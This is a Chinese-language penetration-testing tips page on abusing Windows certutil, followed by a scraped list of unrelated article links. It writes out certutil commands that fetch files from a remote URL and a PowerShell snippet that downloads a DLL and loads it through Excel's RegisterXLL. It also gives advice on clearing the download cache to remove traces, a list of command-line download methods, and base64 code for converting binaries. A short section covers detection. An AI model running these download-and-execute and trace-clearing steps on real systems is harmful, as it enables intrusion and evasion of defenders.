certutil简介

用于证书管理

支持环境: XP  -  Windows 10 全系统

更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

downloader

(1) 保存在当前路径,文件名称同URL

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(2) 保存在当前路径,指定保存文件名称

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

(3) 保存在缓存目录,名称随机

缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

eg:

certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(4) 支持保存二进制文件

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

注:

使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本

清除下载文件副本方法:

方法1: 直接删除缓存目录对应文件

如下图

方法2: 命令行:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

补充:

查看缓存项目:

certutil.exe -urlcache *

如下图

实际测试:

测试系统安装Office软件,下载执行dll对应的powershell代码如下:

$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)

 测试如下:

2、计算文件hash

(1) SHA1

certutil.exe -hashfile msg.dll

(2) SHA256:

certutil.exe -hashfile msg.dll SHA256

(3) MD5:

certutil.exe -hashfile msg.dll MD5

3、base64编码转换

(1) base64编码:

CertUtil -encode InFile OutFile

(2) base64解码

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

-----BEGIN CERTIFICATE-----

文件尾:

-----END CERTIFICATE-----

如下图

downloader常用方法

利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

downloader常用方法如下:

  • certUtil
  • powershell
  • csc
  • vbs
  • JScript
  • hta
  • bitsadmin
  • wget
  • debug
  • ftp
  • ftfp

base64编码转换常用方法

在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。

所以在此整理一下常用不同开发工具对应的base64编码转换方式

powershell

base64编码:

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload

base64解码:

$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)

C SHARP(c#)

base64编码:

using System.IO;

byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();

base64解码:

using System.IO;

String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();

js

base64解码:

fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);

certutil

base64编码:

CertUtil -encode InFile OutFile

base64解码:

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

—–BEGIN CERTIFICATE—–

文件尾:

—–END CERTIFICATE—–

检测downloader

查看利用certUtil下载文件的缓存记录:

certutil.exe -urlcache *

缓存文件位置:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

[渗透技巧] Windows命令行下载的更多相关文章

  1. [小技巧] Windows 命令行显示英文

    在 Windows 里 " 运行" 使用 cmd 进行命令行, 如果是Windows 中文版的话,里面的命令输出是中文. 如果要显示英文的话,可以使用如下的命令: chcp 437 ...

  2. Microsemi Libero使用技巧——使用命令行模式下载程序

    前言 在工程代码编译完成之后,如果需要给某个芯片下载程序时,或者是工厂量产烧录程序时,我们不需要把整个工程文件给别人,而只需要把生成的下载文件给别人,然后使用FlashPro就可以单独下载程序文件了. ...

  3. 【转】curl 命令行下载工具使用方法小结

    获取curl curl 命令行下载工具 curl的官方网站为: http://curl.haxx.se官方下载页面为:http://curl.haxx.se/download.html 你可能并不清楚 ...

  4. 渗透技巧——Windows系统的帐户隐藏

    渗透技巧——Windows系统的帐户隐藏 2017-11-28-00:08:55  0x01 帐户隐藏的方法 该方法在网上已有相关资料,本节只做简单复现 测试系统:·Win7 x86/WinXP 1. ...

  5. git代理,windows命令行代理,linux命令行代理

    下载不动设置代理:git config --global http.proxy http://127.0.0.1:1080git config --global https.proxy https:/ ...

  6. Windows命令行中使用SSH连接Linux

    转自 http://www.linuxidc.com/Linux/2014-02/96625.htm 1.下载: openssh for Winodws: 免费下载地址在 http://linux.l ...

  7. 探索Windows命令行系列(2):命令行工具入门

    1.理论基础 1.1.命令行的前世今生 1.2.命令执行规则 1.3.使用命令历史 2.使用入门 2.1.启动和关闭命令行 2.2.执行简单的命令 2.3.命令行执行程序使用技巧 3.总结 1.理论基 ...

  8. 探索Windows命令行系列(6):活用批处理解决实际问题

    1.批量修改文件名 2.批量重启服务 3.全盘搜索指定文件 3.1.全盘搜索名称为 mm.jpg 的文件,获取其全路径 3.2.查找系统中所有名称以 .docx 结尾的文件 4.调用可执行程序 4.1 ...

  9. 像Linux终端一样使用windows命令行【cmder】

    像Linux终端一样使用windows命令行[cmder] 下载cmder 我下载的是full版,下载之后是个压缩包,解压之后点击cmder.exe即可运行. 需要解决的几个问题 默认的是λ,当然还是 ...

随机推荐

  1. TransitionsTest

    CCTransitionScene* createTransition(int nIndex, float t, CCScene* s) { // fix bug #486, without setD ...

  2. How to merge Scala Lists

    Scala List FAQ: How do I merge a List in Scala? NOTE: I wrote the solutions shown below a long time ...

  3. LeetCode: Divide Two Integers 解题报告

    Divide Two Integers Divide two integers without using multiplication, division and mod operator. SOL ...

  4. sqlachemy中批量删除的问题

    db.session.query(Article).filter(Article.id.in_(items)).delete() 报错: sqlalchemy.exc.InvalidRequestEr ...

  5. uva10160(dfs+状态压缩)

    题意:给出n个点,以及m条边,这些边代表着这些点相连,修一个电力站,若在某一点修一个站,那么与这个点相连的点都可以通电,问所有的点都通电的话至少要修多少个电力站........ 思路:最多给出的是35 ...

  6. Path类与Directory类与File类

    阅读目录 开始 Path 对路径 字符串进行操作 获得后缀 能合并路径 获取文件名 Directory和DirectoryInfo  对目录进行操作 判断目录是否存在 创建目录 删除目录 获取目录下所 ...

  7. perl ExtUtils::Manifest

    Can't locate ExtUtils/Manifest.pm in @INC (you may need to install the ExtUtils::Manifest module) yu ...

  8. java面试2

    1.面向对象的特征有哪些方面   1.抽象:抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面.抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节.抽 ...

  9. 推荐10款纯css3实现的实用按钮

    在2014年的双11即将来临之季,爱编程小编为大家整理10款纯css3实现的按钮.希望这对坚守在前端的码农们有所帮助.亲,如果你有好的资源也可在本文留言,让从事编码的程序员们抱团.工作更轻松. No1 ...

  10. SCR文件的关联被AutoCAD所取代的解决办法

    SCR文件的关联被AutoCAD所取代的解决办法 --------转载自:http://hi.baidu.com/ygq366/item/45dceee3df47d2b52e140be9 SCR文件的 ...